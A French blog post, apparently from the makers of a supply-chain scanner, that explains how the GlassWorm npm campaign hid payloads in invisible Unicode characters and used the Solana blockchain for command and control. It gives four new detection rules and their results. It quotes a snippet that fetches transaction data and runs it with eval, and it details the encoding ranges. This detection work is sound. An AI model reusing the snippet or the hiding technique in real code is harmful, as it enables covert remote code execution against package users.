Mars 2026. La campagne GlassWorm compromet 433+ packages npm avec deux techniques qu'on n'avait jamais vues ensemble : du code caché dans des caractères Unicode invisibles, et un serveur C2 stocké sur la blockchain Solana.
Voici comment on l'a détectée, et les 4 nouvelles règles qu'on a dû écrire.
Le problème : du code invisible
Le premier vecteur est élégant dans sa simplicité. Le fichier JavaScript semble vide ou inoffensif à l'oeil nu. Mais il contient des dizaines de caractères Unicode zero-width - des caractères qui ne s'affichent pas mais qui existent bien dans le fichier.
Les caractères utilisés :
- Zero-width : U+200B (space), U+200C (non-joiner), U+200D (joiner)
- BOM hors position 0 : U+FEFF - le Byte Order Mark est normal en début de fichier, suspect ailleurs
- Word joiner : U+2060, Mongolian vowel separator : U+180E
- Variation selectors : U+FE00-FE0F et U+E0100-E01EF
- Tag characters : U+E0001-U+E007F
Le payload est encodé dans ces caractères. Un décoder utilise .codePointAt() combiné avec des offsets 0xFE00 ou 0xE0100 pour reconstruire le code exécutable.
Le deuxième vecteur : C2 blockchain
Les serveurs C2 classiques ont un défaut fatal pour l'attaquant : on peut les takedown. Un nom de domaine se saisit, une IP se bloque. La blockchain, non.
GlassWorm utilise @solana/web3.js pour lire les instructions de commande directement depuis des transactions Solana :
import { Connection } from '@solana/web3.js';
const conn = new Connection('https://api.mainnet-beta.solana.com');
const sigs = await conn.getSignaturesForAddress(c2Address);
const tx = await conn.getTransaction(sigs[0].signature);
// tx.data contient les instructions C2
eval(decode(tx.data));
Le serveur C2 est la blockchain elle-même. Immuable, décentralisé, impossible à saisir. Les méthodes surveillées : getSignaturesForAddress, getTransaction, getParsedTransaction.
Les 4 nouvelles règles
OBF-003 - unicode_invisible_injection
Détection des caractères Unicode invisibles dans le code source. La fonction countInvisibleUnicode() dans obfuscation.js compte les caractères zero-width, BOM hors position, variation selectors, et tag characters. Seuil : >= 3 caractères invisibles dans un fichier = alerte HIGH.
function countInvisibleUnicode(content) {
let count = 0;
for (let i = 0; i < content.length; i++) {
const cp = content.codePointAt(i);
if (cp === 0x200B || cp === 0x200C || cp === 0x200D) count++;
if (cp === 0xFEFF && i > 0) count++; // BOM hors position 0
if (cp === 0x2060 || cp === 0x180E) count++;
if (cp >= 0xFE00 && cp <= 0xFE0F) count++;
if (cp >= 0xE0100 && cp <= 0xE01EF) count++;
if (cp >= 0xE0001 && cp <= 0xE007F) count++;
if (cp > 0xFFFF) i++; // supplementary plane
}
return count;
}
Pourquoi le seuil de 3 ? Un BOM isolé ou un zero-width joiner dans du texte internationalisé est normal. Trois ou plus dans du code JavaScript ne l'est jamais.
AST-053 - unicode_variation_decoder
Détection du pattern de décodage : .codePointAt() combiné avec des constantes 0xFE00 ou 0xE0100 dans le même fichier. Ce compound est spécifique au décoder GlassWorm.
AST-054 - blockchain_c2_resolution
Détection de l'import @solana/web3.js combiné avec les méthodes C2 (getSignaturesForAddress, getTransaction, getParsedTransaction). Sévérité adaptative :
- CRITICAL si combiné avec
eval()ouexec()- c'est l'exécution du payload C2 - HIGH sinon - l'import Solana avec ces méthodes est suspect mais pourrait être un usage DeFi légitime
AST-055 - blockchain_rpc_endpoint
Détection des endpoints RPC hardcodés vers Solana (api.mainnet-beta.solana.com), Infura, ou Ankr. Sévérité MEDIUM - c'est un signal faible qui contribue au score composite.
IOC et infrastructure
En complément des règles heuristiques, ajout d'IOC spécifiques GlassWorm :
- 6 IPs C2 ajoutées à
SUSPICIOUS_DOMAINS_HIGH - 8 packages compromis ajoutés aux IOC builtin (
builtin.yaml) - 4 marqueurs, 2 fichiers de signature, 1 hash
Résultats
| Métrique | Avant | Après |
|---|---|---|
| Règles | 143 | 147 (+4) |
| Tests | 2266 | 2300 (+34) |
| FPR | 12.9% | 12.9% (inchangé) |
Zéro faux positif ajouté. Les packages Solana légitimes (wallets, DeFi) n'utilisent pas eval() après getTransaction(), et ne contiennent pas de caractères Unicode invisibles.
Leçon
GlassWorm montre que les attaquants innovent sur deux fronts simultanément : l'obfuscation (Unicode invisible) et l'infrastructure (blockchain C2). La détection doit couvrir les deux. Les IOC seuls ne suffisent pas - il faut des heuristiques comportementales pour détecter les techniques, pas juste les instances.
La blockchain comme C2 est un changement de paradigme. On ne peut plus compter sur le takedown de l'infrastructure pour stopper une campagne. La détection côté client devient la seule ligne de défense.